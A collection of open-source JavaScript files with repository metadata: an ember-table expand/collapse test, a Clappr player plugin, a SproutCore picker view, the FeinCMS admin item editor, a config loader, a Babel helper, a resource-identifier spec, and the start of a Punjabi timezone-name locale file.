["as-1"], ["at-102"], ["ac-1003"], ["ac-1005"], ["at-101"], ["ac-1001"], ["ac-1002"], ["as-2"], ["at-201"], ["ac-2001"], ["ac-2002"], ["at-202"], ["ac-2001"], ["ac-2002"] ], "all level 1,2,3 rows should be expanded."); }); }); test('expand to level 3 and collapse to level 2 and collapse level 1', function (assert) { var component = this.subject({height: 1000}); this.render(); component.expandToLevel(3); component.expandToLevel(2); component.expandToLevel(1); return component.ready(() => { assert.deepEqual(component.cellsContent(2, [0]), [ ["as-1"], ["as-2"] ], "should collapse to level 1."); }); }); test('expand to level 1, expand first grouper then expand to level 1 again', function(assert){ var component = this.subject({height: 1000}); this.render(); component.expandToLevel(1); component.clickGroupIndicator(0); component.expandToLevel(1); return component.ready(() => { assert.deepEqual(component.cellsContent(2, [0]), [ ["as-1"], ["as-2"] ], "should collapse to level 1."); }); });
hedgeserv/ember-table
tests/unit/components/expand-to-arbitrary-level-test.js
JavaScript
bsd-3-clause
4,539
//Copyright 2014 Globo.com Player authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. var ContainerPlugin = require('../../base/container_plugin') var Events = require('../../base/events') var Browser = require('../../components/browser') class ClickToPausePlugin extends ContainerPlugin { get name() { return 'click_to_pause' } constructor(options) { if (!options.chromeless && !Browser.isMobile) { super(options) } } bindEvents() { this.listenTo(this.container, Events.CONTAINER_CLICK, this.click) this.listenTo(this.container, Events.CONTAINER_SETTINGSUPDATE, this.settingsUpdate) } click() { if (this.container.getPlaybackType() !== 'live' || this.container.isDvrEnabled()) { if (this.container.isPlaying()) { this.container.pause() } else { this.container.play() } } } settingsUpdate() { this.container.$el.removeClass('pointer-enabled') if (this.container.getPlaybackType() !== 'live' || this.container.isDvrEnabled()) { this.container.$el.addClass('pointer-enabled') } } } module.exports = ClickToPausePlugin
Peer5/clappr
src/plugins/click_to_pause/click_to_pause.js
JavaScript
bsd-3-clause
1,205
// ========================================================================== // Project: Greenhouse.TearOffPicker // Copyright: ©2010 Mike Ball // ========================================================================== /*globals Greenhouse */ /** @class @extends SC.PickerPane */ Greenhouse.TearOffPicker = SC.PickerPane.extend( /** @scope Greenhouse.TearOffPicker.prototype */ { dragAction: '', mouseDragged: function(evt){ Greenhouse.sendAction(this.get('dragAction')); this._blockedIframe = YES; Greenhouse.eventBlocker.set('isVisible', YES); return sc_super(); }, mouseUp: function(evt){ if(this._blockedIframe){ Greenhouse.eventBlocker.set('isVisible', NO); this._blockedIframe = NO; } return YES; }, mouseDown: function(evt) { var f=this.get('frame'); this._mouseOffsetX = f ? (f.x - evt.pageX) : 0; this._mouseOffsetY = f ? (f.y - evt.pageY) : 0; return this.modalPaneDidClick(evt); }, modalPaneDidClick: function(evt) { var f = this.get("frame"); if(!this.clickInside(f, evt)){ Greenhouse.sendAction('cancel'); } return YES ; }, computeAnchorRect: function(anchor) { var ret = SC.viewportOffset(anchor); // get x & y var cq = SC.$(anchor); var wsize = SC.RootResponder.responder.computeWindowSize() ; ret.width = cq.outerWidth(); ret.height = (wsize.height-ret.y) < cq.outerHeight() ? (wsize.height-ret.y) : cq.outerHeight(); ret.y = ret.y -11; return ret ; } });
darkrsw/safe
tests/clone_detector_tests/sproutcore/frameworks/experimental/apps/greenhouse/views/tear_off_picker.js
JavaScript
bsd-3-clause
1,542
if(!Array.indexOf) { Array.prototype.indexOf = function(obj) { for(var i=0; i<this.length; i++) { if(this[i]==obj) { return i; } } return -1; } } (function($){ // Patch up urlify maps to generate nicer slugs in german if(typeof(Downcoder) != "undefined"){ Downcoder.Initialize() ; Downcoder.map["ö"] = Downcoder.map["Ö"] = "oe"; Downcoder.map["ä"] = Downcoder.map["Ä"] = "ae"; Downcoder.map["ü"] = Downcoder.map["Ü"] = "ue"; } function feincms_gettext(s) { // Unfortunately, we cannot use Django's jsi18n view for this // because it only sends translations from the package // "django.conf" -- our own djangojs domain strings won't be // picked up if (FEINCMS_ITEM_EDITOR_GETTEXT[s]) return FEINCMS_ITEM_EDITOR_GETTEXT[s]; return s; } function create_new_item_from_form(form, modname, modvar){ var fieldset = $("<fieldset>").addClass("module aligned order-item item-wrapper-" + modvar); var wrp = []; wrp.push('<h2><img class="item-delete" src="'+IMG_DELETELINK_PATH+'" /><span class="handle"></span> <span class="modname">'+modname+'</span> &nbsp;(<span class="collapse">'+feincms_gettext('Hide')+'</span>)</h2>'); wrp.push('<div class="item-content"></div>'); fieldset.append(wrp.join("")); fieldset.children(".item-content").append(form); //relocates, not clone $("<div>").addClass("item-controls").appendTo(fieldset); return fieldset; } function update_item_controls(item, target_region_id){ var item_controls = item.find(".item-controls"); item_controls.find(".item-control-units").remove(); // Remove all controls, if any. // (Re)build controls var control_units = $("<div>").addClass("item-control-units").appendTo(item_controls); // Insert control unit var insert_control = $("<div>").addClass("item-control-unit"); var select_content = $("#" + REGION_MAP[target_region_id] + "_body").find("select[name=order-machine-add-select]").clone().removeAttr("name"); var insert_after = $("<input>").attr("type", "button").addClass("button").attr("value", feincms_gettext('After')).click(function(){ var modvar = select_content.val(); var modname = select_content.find("option:selected").html(); var new_fieldset = create_new_fieldset_from_module(modvar, modname); add_fieldset(target_region_id, new_fieldset, {where:'insertAfter', relative_to:item, animate:true}); update_item_controls(new_fieldset, target_region_id); }); var insert_before = $("<input>").attr("type", "button").addClass("button").attr("value", feincms_gettext('Before')).click(function(){ var modvar = select_content.val(); var modname = select_content.find("option:selected").html(); var new_fieldset = create_new_fieldset_from_module(modvar, modname); add_fieldset(target_region_id, new_fieldset, {where:'insertBefore', relative_to:item, animate:true}); update_item_controls(new_fieldset, target_region_id); }); insert_control.append("<span>" + feincms_gettext('Insert new:') + "</span>").append(" ").append(select_content).append(" ").append(insert_before).append(insert_after); control_units.append(insert_control); // Move control unit if (REGION_MAP.length > 1) { var wrp = []; wrp.push('<div class="item-control-unit move-control"><span>'+feincms_gettext('Move to')+': </span><select name="item-move-select">'); for (var i=0; i < REGION_MAP.length; i++) { if (i != target_region_id) { // Do not put the target region in the list wrp.push('<option value="'+REGION_MAP[i]+'">'+REGION_NAMES[i]+'</option>'); } } wrp.push('</select><input type="button" class="button" value="'+feincms_gettext('Move')+'" /></div>'); var move_control = $(wrp.join("")); move_control.find(".button").click(function(){ var move_to = $(this).prev().val(); move_item(REGION_MAP.indexOf(move_to), item); }); control_units.append(move_control); // Add new one } // Controls animations item_controls.find("*").hide(); var is_hidden = true; var mouseenter_timeout; var mouseleave_timeout; function hide_controls() { item_controls.find("*").fadeOut(800); is_hidden = true; } function show_controls() { item_controls.find("*").fadeIn(800); is_hidden = false; } item_controls.unbind('mouseleave'); // Unbind in case it's already been bound. item_controls.mouseleave(function() { clearTimeout(mouseenter_timeout); mouseleave_timeout = setTimeout(hide_controls, 1000); }); item_controls.unbind('mouseenter'); // Unbind in case it's already been bound. item_controls.mouseenter(function() { clearTimeout(mouseleave_timeout); if (is_hidden) mouseenter_timeout = setTimeout(show_controls, 200); // To prevent the control bar to appear when mouse accidentally enters the zone. }); } function create_new_fieldset_from_module(modvar, modname) { var new_form = create_new_spare_form(modvar); return create_new_item_from_form(new_form, modname, modvar); } function add_fieldset(region_id, item, how){ /* `how` should be an object. `how.where` should be one of: - 'append' -- last region - 'prepend' -- first region - 'insertBefore' -- insert before relative_to - 'insertAfter' -- insert after relative_to */ // Default parameters if (how) $.extend({ where: 'append', relative_to: undefined, animate: false }, how); item.hide(); if(how.where == 'append' || how.where == 'prepend'){ $("#"+ REGION_MAP[region_id] +"_body").children("div.order-machine")[how.where](item); } else if(how.where == 'insertBefore' || how.where == 'insertAfter'){ if(how.relative_to){ item[how.where](how.relative_to); } else{ window.alert('DEBUG: invalid add_fieldset usage'); return; } } else{ window.alert('DEBUG: invalid add_fieldset usage'); return; } set_item_field_value(item, "region-choice-field", region_id); init_contentblocks(); if (how.animate) { item.fadeIn(800); } else { item.show(); } } function create_new_spare_form(modvar) { var old_form_count = parseInt($('#id_'+modvar+'_set-TOTAL_FORMS').val()); // **** UGLY CODE WARNING, avert your gaze! **** // for some unknown reason, the add-button click handler function // fails on the first triggerHandler call in some rare cases; // we can detect this here and retry: for(var i = 0; i < 2; i++){ // Use Django's built-in inline spawing mechanism (Django 1.2+) // must use django.jQuery since the bound function lives there: var returned = django.jQuery('#'+modvar+'_set-group').find( 'div.add-row > a').triggerHandler('click'); if(returned==false) break; // correct return value } var new_form_count = parseInt($('#id_'+modvar+'_set-TOTAL_FORMS').val()); if(new_form_count > old_form_count){ return $('#'+modvar+'_set-'+(new_form_count-1)); } // TODO: add fallback for older versions by manually cloning // empty fieldset (provided using extra=1) } function set_item_field_value(item, field, value) { // item: DOM object for the item's fieldset. // field: "order-field" | "delete-field" | "region-choice-field" if (field=="delete-field") item.find("."+field).attr("checked",value); else if (field=="region-choice-field") { var old_region_id = REGION_MAP.indexOf(item.find("."+field).val()); item.find("."+field).val(REGION_MAP[value]); old_region_item = $("#"+REGION_MAP[old_region_id]+"_body"); if (old_region_item.children("div.order-machine").children().length == 0) old_region_item.children("div.empty-machine-msg").show(); else old_region_item.children("div.empty-machine-msg").hide(); new_region_item = $("#"+REGION_MAP[value]+"_body"); new_region_item.children("div.empty-machine-msg").hide(); } else item.find("."+field).val(value); } function move_item(region_id, item) { poorify_rich(item); item.fadeOut(800, function() { add_fieldset(region_id, item, {where:'append'}); richify_poor(item); update_item_controls(item, region_id); item.show(); }); } function poorify_rich(item){ item.children(".item-content").hide(); for (var i=0; i<contentblock_move_handlers.poorify.length; i++) contentblock_move_handlers.poorify[i](item); } function richify_poor(item){ item.children(".item-content").show(); for (var i=0; i<contentblock_move_handlers.richify.length; i++) contentblock_move_handlers.richify[i](item); } function sort_by_ordering(e1, e2) { var v1 = parseInt($('.order-field', e1).val()) || 0; var v2 = parseInt($('.order-field', e2).val()) || 0; return v1 > v2 ? 1 : -1; }; function give_ordering_to_content_types() { for (var i=0; i<REGION_MAP.length;i++) { var container = $("#"+REGION_MAP[i]+"_body div.order-machine"); for (var j=0; j<container.children().length; j++) { set_item_field_value(container.find("fieldset.order-item:eq("+j+")"), "order-field", j); } } } function order_content_types_in_regions() { for (var i=0; i<REGION_MAP.length;i++) { var container = $("#"+REGION_MAP[i]+"_body div.order-machine"); container.children().sort(sort_by_ordering).each(function() { container.append(this); }); } } function init_contentblocks() { for(var i=0; i<contentblock_init_handlers.length; i++) contentblock_init_handlers[i](); } function identify_feincms_inlines(){ // add feincms_inline class to divs which contains feincms inlines $('div.inline-group h2:contains("Feincms_Inline:")').parent().addClass("feincms_inline"); } function hide_form_rows_with_hidden_widgets(){ /* This is not normally done in django -- the fields are shown with visible labels and invisible widgets, but FeinCMS used to use custom form rendering to hide rows for hidden fields. This is an attempt to preserve that behaviour. */ $('div.feincms_inline div.form-row').each(function(){ var child_count = $(this).find('*').length; var invisible_types = 'div, label, input[type=hidden], p.help'; var invisible_count = $(this).find(invisible_types).length; if(invisible_count == child_count){ $(this).addClass('hidden-form-row'); } }); } // global variable holding the current template key var current_template; $(document).ready(function($){ identify_feincms_inlines(); hide_form_rows_with_hidden_widgets(); $("#main_wrapper > .navi_tab").click(function(){ var elem = $(this); $("#main_wrapper > .navi_tab").removeClass("tab_active"); elem.addClass("tab_active"); $("#main > div:visible, #main > fieldset:visible").hide(); var tab_str = elem.attr("id").substr(0, elem.attr("id").length-4); $('#'+tab_str+'_body').show(); ACTIVE_REGION = REGION_MAP.indexOf(tab_str); // make it possible to open current tab on page reload window.location.replace('#tab_'+tab_str); }); $("input.order-machine-add-button").click(function(){ var select_content = $(this).prev(); var modvar = select_content.val(); var modname = select_content.find("option:selected").html(); var new_fieldset = create_new_fieldset_from_module(modvar, modname); add_fieldset(ACTIVE_REGION, new_fieldset, {where:'append', animate:true}); update_item_controls(new_fieldset, ACTIVE_REGION); }); $("h2 img.item-delete").live('click', function(){ var popup_bg = '<div class="popup_bg"></div>'; $("body").append(popup_bg); var item = $(this).parents(".order-item"); jConfirm(DELETE_MESSAGES[0], DELETE_MESSAGES[1], function(r) { if (r==true) { var in_database = item.find(".delete-field").length; if(in_database==0){ // remove on client-side only // decrement TOTAL_FORMS: var id = item.find(".item-content > div").attr('id'); var modvar = id.replace(/_set-\d+$/, ''); var count = $('#id_'+modvar+'_set-TOTAL_FORMS').val(); $('#id_'+modvar+'_set-TOTAL_FORMS').val(count-1); // remove form: item.find(".item-content").remove(); // could trigger django's deletion handler, which would // handle reindexing other inlines, etc, but seems to // cause errors, and is apparently unnecessary... // django.jQuery('#'+id).find('a.inline-deletelink') // .triggerHandler('click'); } else{ // saved on server, don't remove form set_item_field_value(item,"delete-field","checked"); } item.fadeOut(200); } $(".popup_bg").remove(); }); }); $('h2 span.collapse').live('click', function(){ var node = this; $(this.parentNode.parentNode).children('.item-content').slideToggle(function(){ $(node).text(feincms_gettext($(this).is(':visible') ? 'Hide' : 'Show')); }); return false; }); current_template = $('input[name=template_key][checked], select[name=template_key]').val(); function on_template_key_changed(){ var input_element = this; var new_template = this.value; if(current_template==new_template) // Selected template did not change return false; var current_regions = template_regions[current_template]; var new_regions = template_regions[new_template]; var not_in_new = []; for(var i=0; i<current_regions.length; i++) if(new_regions.indexOf(current_regions[i])==-1) not_in_new.push(current_regions[i]); var popup_bg = '<div id="popup_bg"></div>'; $("body").append(popup_bg); var msg = CHANGE_TEMPLATE_MESSAGES[1]; if(not_in_new.length) { msg = interpolate(CHANGE_TEMPLATE_MESSAGES[2], { 'source_regions': not_in_new, 'target_region': new_regions[0] }, true); } jConfirm(msg, CHANGE_TEMPLATE_MESSAGES[0], function(ret) { if(ret) { for(var i=0; i<not_in_new.length; i++) { var items = $('#'+not_in_new[i]+'_body div.order-machine').children(); // FIXME: this moves all soon-to-be-homeless items // to the first region, but that region is quite likely // not in the new template. move_item(0, items); } input_element.checked = true; $('form').append('<input type="hidden" name="_continue" value="1" />').submit(); } else { $("div#popup_bg").remove(); $(input_element).val($(input_element).data('original_value')); // Restore original value } }); return false; } // The template key's widget could either be a radio button or a drop-down select. var template_key_radio = $('input[type=radio][name=template_key]'); template_key_radio.click(on_template_key_changed); var template_key_select = $('select[name=template_key]'); template_key_select.change(on_template_key_changed); // Save template key's original value for easy restore if the user cancels the change. template_key_radio.data('original_value', template_key_radio.val()); template_key_select.data('original_value', template_key_select.val()); $('form').submit(function(){ give_ordering_to_content_types(); var form = $(this); form.attr('action', form.attr('action')+window.location.hash); return true; }); // move contents into their corresponding regions and do some simple formatting $("div.feincms_inline div.inline-related").each(function(){ var elem = $(this); elem.find("input[name$=-region]").addClass("region-choice-field"); elem.find("input[name$=-DELETE]").addClass("delete-field"); elem.find("input[name$=-ordering]").addClass("order-field"); if (!elem.hasClass("empty-form")){ var region_id = REGION_MAP.indexOf( elem.find(".region-choice-field").val()); if (REGION_MAP[region_id] != undefined) { var content_type = elem.attr("id").substr( 0, elem.attr("id").indexOf("_")); var item = create_new_item_from_form( elem, CONTENT_NAMES[content_type], content_type); add_fieldset(region_id, item, {where:'append'}); update_item_controls(item, region_id); } } }); // register regions as sortable for drag N drop $(".order-machine").sortable({ handle: '.handle', helper: function(event, ui){ var h2 = $("<h2>").html($(ui.item).find('span.modname').html()); return $("<fieldset>").addClass("helper module").append(h2); }, placeholder: 'highlight', start: function(event, ui) { poorify_rich($(ui.item)); }, stop: function(event, ui) { richify_poor($(ui.item)); } }); order_content_types_in_regions(); $('div.feincms_inline').hide(); var errors = $('#main div.errors'); if(errors.length) { var id = errors.parents('fieldset[id$=_body], div[id$=_body]').attr('id'); $('#'+id.replace('_body', '_tab')).trigger('click'); } else { if(window.location.hash) { var tab = $('#'+window.location.hash.substr(5)+'_tab'); if(tab.length) { tab.trigger('click'); return; } } $('#main_wrapper>div.navi_tab:first-child').trigger('click'); } }); $(window).load(function(){init_contentblocks()}); })(feincms.jQuery);
20tab/upy
upy/upy_static/js/item_editor.js
JavaScript
bsd-3-clause
20,151
/** * Created at 16/4/11. * @Author Ling. * @Email i@zeroling.com */ import fs from 'fs' import lodash, { isPlainObject, defaultsDeep } from 'lodash' import defaultConfig from './default' const cfgs = [] fs.readdirSync(__dirname).map(filename => { if (filename === 'index.js') { return false } try { const cfg = require('./' + filename) if (isPlainObject(cfg)) { cfgs.push(cfg) } } catch (e) {} }) cfgs.push(defaultConfig) const config = defaultsDeep.apply(lodash, cfgs) export default config
Halooo/halooo.me
src/config/index.js
JavaScript
mit
529
function _checkPrivateRedeclaration(obj, privateCollection) { if (privateCollection.has(obj)) { throw new TypeError("Cannot initialize the same private elements twice on an object"); } } module.exports = _checkPrivateRedeclaration; module.exports["default"] = module.exports, module.exports.__esModule = true;
zeit/next.js
packages/next/compiled/@babel/runtime/helpers/checkPrivateRedeclaration.js
JavaScript
mit
318
'use strict'; const resourceId = require('./resource-identifier'); const cPrefix = 'clusternator-'; /*global describe, it, expect */ describe('parser', () => { it('should separate types and values in ID segment', () => { const rid = cPrefix + 'type-value'; const segments = resourceId.parseRID(rid); expect(segments.type).equal('value'); }); it('should separate multiple types and values in ID segments', () => { const rid = cPrefix + 'A-B--C-D'; const segments = resourceId.parseRID(rid); expect(segments['A']).equal('B'); expect(segments['C']).equal('D'); }); it('should return null if given an id not generated (prefixed) by ' + 'clusternator', () => { const rid = 'A-B--C-D'; const segments = resourceId.parseRID(rid); expect(segments).equal(null); }); }); describe('generator', () => { it('should generate RID from single piece of info', () => { const rid = resourceId.generateRID({ sha: '1234' }); expect(rid).equal(cPrefix + 'sha-1234'); }); it('should generate RID from multiple pieces of info', () => { const rid = resourceId.generateRID({ sha: '1234', time: '4321' }); const validRID = rid === cPrefix + 'sha-1234--time-4321' || rid === cPrefix + 'time-4321--sha-1234'; expect(validRID).to.be.true; }); it('should ignore invalid segment keys', () => { const rid = resourceId.generateRID({ sha: '1234', ignoreMe: 'please' }); expect(rid).equal(cPrefix + 'sha-1234'); }); it('generatePRSubdomain should throw without a pr', () => { expect(() => { resourceId.generatePRSubdomain('proj'); }).to.throw(Error); }); it('generatePRSubdomain should throw without a projectId', () => { expect(() => { resourceId.generatePRSubdomain(); }).to.throw(Error); }); it('generateSubdomain should throw without a label', () => { expect(() => { resourceId.generateSubdomain('whoa'); }).to.throw(Error); }); it('generateSubdomain should throw without a projectId', () => { expect(() => { resourceId.generateSubdomain(); }).to.throw(Error); }); it('generatePRSubdomain should return projectId-pr-pr#', () => { expect(resourceId.generatePRSubdomain('test', '1')).to.equal('test-pr-1'); }); it('generateSubdomain should return projectId-label', () => { expect(resourceId.generateSubdomain('test', 'me')).to.equal('test-me'); }); });
rangle/the-clusternator
src/resource-identifier.spec.js
JavaScript
mit
2,479
{ "AD" : "ਸੰਨ", "Africa/Abidjan_Z_abbreviated" : "(CI)", "Africa/Abidjan_Z_short" : "GMT", "Africa/Accra_Z_abbreviated" : "(GH)", "Africa/Accra_Z_short" : "GMT", "Africa/Addis_Ababa_Z_abbreviated" : "(ET)", "Africa/Addis_Ababa_Z_short" : "EAT", "Africa/Algiers_Z_abbreviated" : "(DZ)", "Africa/Algiers_Z_short" : "WET", "Africa/Asmara_Z_abbreviated" : "(ER)", "Africa/Asmara_Z_short" : "EAT", "Africa/Bamako_Z_abbreviated" : "(ML)", "Africa/Bamako_Z_short" : "GMT", "Africa/Bangui_Z_abbreviated" : "(CF)", "Africa/Bangui_Z_short" : "WAT", "Africa/Banjul_Z_abbreviated" : "(GM)", "Africa/Banjul_Z_short" : "GMT", "Africa/Bissau_Z_abbreviated" : "(GW)", "Africa/Bissau_Z_short" : "GMT-٠١:٠٠", "Africa/Blantyre_Z_abbreviated" : "(MW)", "Africa/Blantyre_Z_short" : "CAT", "Africa/Brazzaville_Z_abbreviated" : "(CG)", "Africa/Brazzaville_Z_short" : "WAT", "Africa/Bujumbura_Z_abbreviated" : "(BI)", "Africa/Bujumbura_Z_short" : "CAT", "Africa/Cairo_Z_abbreviated" : "(EG)", "Africa/Cairo_Z_short" : "EET", "Africa/Casablanca_Z_abbreviated" : "(MA)", "Africa/Casablanca_Z_short" : "WET", "Africa/Conakry_Z_abbreviated" : "(GN)", "Africa/Conakry_Z_short" : "GMT", "Africa/Dakar_Z_abbreviated" : "(SN)", "Africa/Dakar_Z_short" : "GMT", "Africa/Dar_es_Salaam_Z_abbreviated" : "(TZ)", "Africa/Dar_es_Salaam_Z_short" : "EAT", "Africa/Djibouti_Z_abbreviated" : "(DJ)", "Africa/Djibouti_Z_short" : "EAT", "Africa/Douala_Z_abbreviated" : "(CM)", "Africa/Douala_Z_short" : "WAT", "Africa/El_Aaiun_Z_abbreviated" : "(EH)", "Africa/El_Aaiun_Z_short" : "GMT-٠١:٠٠", "Africa/Freetown_Z_abbreviated" : "(SL)", "Africa/Freetown_Z_short" : "GMT", "Africa/Gaborone_Z_abbreviated" : "(BW)", "Africa/Gaborone_Z_short" : "CAT", "Africa/Harare_Z_abbreviated" : "(ZW)", "Africa/Harare_Z_short" : "CAT", "Africa/Johannesburg_Z_abbreviated" : "(ZA)", "Africa/Johannesburg_Z_short" : "SAST", "Africa/Juba_Z_abbreviated" : "(SD)", "Africa/Juba_Z_short" : "CAT", "Africa/Kampala_Z_abbreviated" : "(UG)", "Africa/Kampala_Z_short" : "EAT", "Africa/Khartoum_Z_abbreviated" : "(SD)", "Africa/Khartoum_Z_short" : "CAT", "Africa/Kigali_Z_abbreviated" : "(RW)", "Africa/Kigali_Z_short" : "CAT", "Africa/Kinshasa_Z_abbreviated" : "CD (Kinshasa)", "Africa/Kinshasa_Z_short" : "WAT", "Africa/Lagos_Z_abbreviated" : "(NG)", "Africa/Lagos_Z_short" : "WAT", "Africa/Libreville_Z_abbreviated" : "(GA)", "Africa/Libreville_Z_short" : "WAT", "Africa/Lome_Z_abbreviated" : "(TG)", "Africa/Lome_Z_short" : "GMT", "Africa/Luanda_Z_abbreviated" : "(AO)", "Africa/Luanda_Z_short" : "WAT", "Africa/Lusaka_Z_abbreviated" : "(ZM)", "Africa/Lusaka_Z_short" : "CAT", "Africa/Malabo_Z_abbreviated" : "(GQ)", "Africa/Malabo_Z_short" : "WAT", "Africa/Maputo_Z_abbreviated" : "(MZ)", "Africa/Maputo_Z_short" : "CAT", "Africa/Maseru_Z_abbreviated" : "(LS)", "Africa/Maseru_Z_short" : "SAST", "Africa/Mbabane_Z_abbreviated" : "(SZ)", "Africa/Mbabane_Z_short" : "SAST", "Africa/Mogadishu_Z_abbreviated" : "(SO)", "Africa/Mogadishu_Z_short" : "EAT", "Africa/Monrovia_Z_abbreviated" : "(LR)", "Africa/Monrovia_Z_short" : "GMT-٠٠:٤٤:٣٠", "Africa/Nairobi_Z_abbreviated" : "(KE)", "Africa/Nairobi_Z_short" : "EAT", "Africa/Ndjamena_Z_abbreviated" : "(TD)", "Africa/Ndjamena_Z_short" : "WAT", "Africa/Niamey_Z_abbreviated" : "(NE)", "Africa/Niamey_Z_short" : "WAT", "Africa/Nouakchott_Z_abbreviated" : "(MR)", "Africa/Nouakchott_Z_short" : "GMT", "Africa/Ouagadougou_Z_abbreviated" : "(BF)", "Africa/Ouagadougou_Z_short" : "GMT", "Africa/Porto-Novo_Z_abbreviated" : "(BJ)", "Africa/Porto-Novo_Z_short" : "WAT", "Africa/Sao_Tome_Z_abbreviated" : "(ST)", "Africa/Sao_Tome_Z_short" : "GMT", "Africa/Tripoli_Z_abbreviated" : "(LY)", "Africa/Tripoli_Z_short" : "EET", "Africa/Tunis_Z_abbreviated" : "(TN)", "Africa/Tunis_Z_short" : "CET", "Africa/Windhoek_Z_abbreviated" : "(NA)", "Africa/Windhoek_Z_short" : "SAST", "America/Anguilla_Z_abbreviated" : "(AI)", "America/Anguilla_Z_short" : "AST", "America/Antigua_Z_abbreviated" : "(AG)", "America/Antigua_Z_short" : "AST", "America/Araguaina_Z_abbreviated" : "BR (Araguaina)", "America/Araguaina_Z_short" : "BRT", "America/Argentina/Buenos_Aires_Z_abbreviated" : "AR (Buenos Aires)", "America/Argentina/Buenos_Aires_Z_short" : "ART", "America/Argentina/Catamarca_Z_abbreviated" : "AR (Catamarca)", "America/Argentina/Catamarca_Z_short" : "ART", "America/Argentina/Cordoba_Z_abbreviated" : "AR (Cordoba)", "America/Argentina/Cordoba_Z_short" : "ART", "America/Argentina/Jujuy_Z_abbreviated" : "AR (Jujuy)", "America/Argentina/Jujuy_Z_short" : "ART", "America/Argentina/La_Rioja_Z_abbreviated" : "AR (La Rioja)", "America/Argentina/La_Rioja_Z_short" : "ART", "America/Argentina/Mendoza_Z_abbreviated" : "AR (Mendoza)", "America/Argentina/Mendoza_Z_short" : "ART", "America/Argentina/Rio_Gallegos_Z_abbreviated" : "AR (Rio Gallegos)", "America/Argentina/Rio_Gallegos_Z_short" : "ART", "America/Argentina/Salta_Z_abbreviated" : "AR (Salta)", "America/Argentina/Salta_Z_short" : "ART", "America/Argentina/San_Juan_Z_abbreviated" : "AR (San Juan)", "America/Argentina/San_Juan_Z_short" : "ART", "America/Argentina/San_Luis_Z_abbreviated" : "AR (San Luis)", "America/Argentina/San_Luis_Z_short" : "ART", "America/Argentina/Tucuman_Z_abbreviated" : "AR (Tucuman)", "America/Argentina/Tucuman_Z_short" : "ART", "America/Argentina/Ushuaia_Z_abbreviated" : "AR (Ushuaia)", "America/Argentina/Ushuaia_Z_short" : "ART", "America/Aruba_Z_abbreviated" : "(AW)", "America/Aruba_Z_short" : "AST", "America/Asuncion_Z_abbreviated" : "(PY)", "America/Asuncion_Z_short" : "PYT", "America/Bahia_Banderas_Z_abbreviated" : "MX (Bahia Banderas)", "America/Bahia_Banderas_Z_short" : "PST", "America/Bahia_Z_abbreviated" : "BR (Bahia)", "America/Bahia_Z_short" : "BRT", "America/Barbados_Z_abbreviated" : "(BB)", "America/Barbados_Z_short" : "AST", "America/Belem_Z_abbreviated" : "BR (Belem)", "America/Belem_Z_short" : "BRT", "America/Belize_Z_abbreviated" : "(BZ)", "America/Belize_Z_short" : "CST", "America/Blanc-Sablon_Z_abbreviated" : "CA (Blanc-Sablon)", "America/Blanc-Sablon_Z_short" : "AST", "America/Boa_Vista_Z_abbreviated" : "BR (Boa Vista)", "America/Boa_Vista_Z_short" : "AMT", "America/Bogota_Z_abbreviated" : "(CO)", "America/Bogota_Z_short" : "COT", "America/Boise_Z_abbreviated" : "US (Boise)", "America/Boise_Z_short" : "MST", "America/Cambridge_Bay_Z_abbreviated" : "CA (Cambridge Bay)", "America/Cambridge_Bay_Z_short" : "MST", "America/Campo_Grande_Z_abbreviated" : "BR (Campo Grande)", "America/Campo_Grande_Z_short" : "AMT", "America/Cancun_Z_abbreviated" : "MX (Cancun)", "America/Cancun_Z_short" : "CST", "America/Caracas_Z_abbreviated" : "(VE)", "America/Caracas_Z_short" : "VET", "America/Cayenne_Z_abbreviated" : "(GF)", "America/Cayenne_Z_short" : "GFT", "America/Cayman_Z_abbreviated" : "(KY)", "America/Cayman_Z_short" : "EST", "America/Chicago_Z_abbreviated" : "US (Chicago)", "America/Chicago_Z_short" : "CST", "America/Chihuahua_Z_abbreviated" : "MX (Chihuahua)", "America/Chihuahua_Z_short" : "CST", "America/Costa_Rica_Z_abbreviated" : "(CR)", "America/Costa_Rica_Z_short" : "CST", "America/Cuiaba_Z_abbreviated" : "BR (Cuiaba)", "America/Cuiaba_Z_short" : "AMT", "America/Curacao_Z_abbreviated" : "(AN)", "America/Curacao_Z_short" : "AST", "America/Danmarkshavn_Z_abbreviated" : "GL (Danmarkshavn)", "America/Danmarkshavn_Z_short" : "WGT", "America/Denver_Z_abbreviated" : "US (Denver)", "America/Denver_Z_short" : "MST", "America/Detroit_Z_abbreviated" : "US (Detroit)", "America/Detroit_Z_short" : "EST", "America/Dominica_Z_abbreviated" : "(DM)", "America/Dominica_Z_short" : "AST", "America/Edmonton_Z_abbreviated" : "CA (Edmonton)", "America/Edmonton_Z_short" : "MST", "America/Eirunepe_Z_abbreviated" : "BR (Eirunepe)", "America/Eirunepe_Z_short" : "ACT (Acre)", "America/El_Salvador_Z_abbreviated" : "(SV)", "America/El_Salvador_Z_short" : "CST", "America/Fortaleza_Z_abbreviated" : "BR (Fortaleza)", "America/Fortaleza_Z_short" : "BRT", "America/Goose_Bay_Z_abbreviated" : "CA (Goose Bay)", "America/Goose_Bay_Z_short" : "AST", "America/Grand_Turk_Z_abbreviated" : "(TC)", "America/Grand_Turk_Z_short" : "EST", "America/Grenada_Z_abbreviated" : "(GD)", "America/Grenada_Z_short" : "AST", "America/Guadeloupe_Z_abbreviated" : "(GP)", "America/Guadeloupe_Z_short" : "AST", "America/Guatemala_Z_abbreviated" : "(GT)", "America/Guatemala_Z_short" : "CST", "America/Guayaquil_Z_abbreviated" : "EC (Guayaquil)", "America/Guayaquil_Z_short" : "ECT", "America/Guyana_Z_abbreviated" : "(GY)", "America/Guyana_Z_short" : "GYT", "America/Halifax_Z_abbreviated" : "CA (Halifax)", "America/Halifax_Z_short" : "AST", "America/Havana_Z_abbreviated" : "(CU)", "America/Havana_Z_short" : "CST (CU)", "America/Hermosillo_Z_abbreviated" : "MX (Hermosillo)", "America/Hermosillo_Z_short" : "PST", "America/Indiana/Indianapolis_Z_abbreviated" : "US (Indianapolis)", "America/Indiana/Indianapolis_Z_short" : "EST", "America/Indiana/Knox_Z_abbreviated" : "US (Knox, Indiana)", "America/Indiana/Knox_Z_short" : "CST", "America/Indiana/Marengo_Z_abbreviated" : "US (Marengo, Indiana)", "America/Indiana/Marengo_Z_short" : "EST", "America/Indiana/Petersburg_Z_abbreviated" : "US (Petersburg, Indiana)", "America/Indiana/Petersburg_Z_short" : "CST", "America/Indiana/Tell_City_Z_abbreviated" : "US (Tell City, Indiana)", "America/Indiana/Tell_City_Z_short" : "EST", 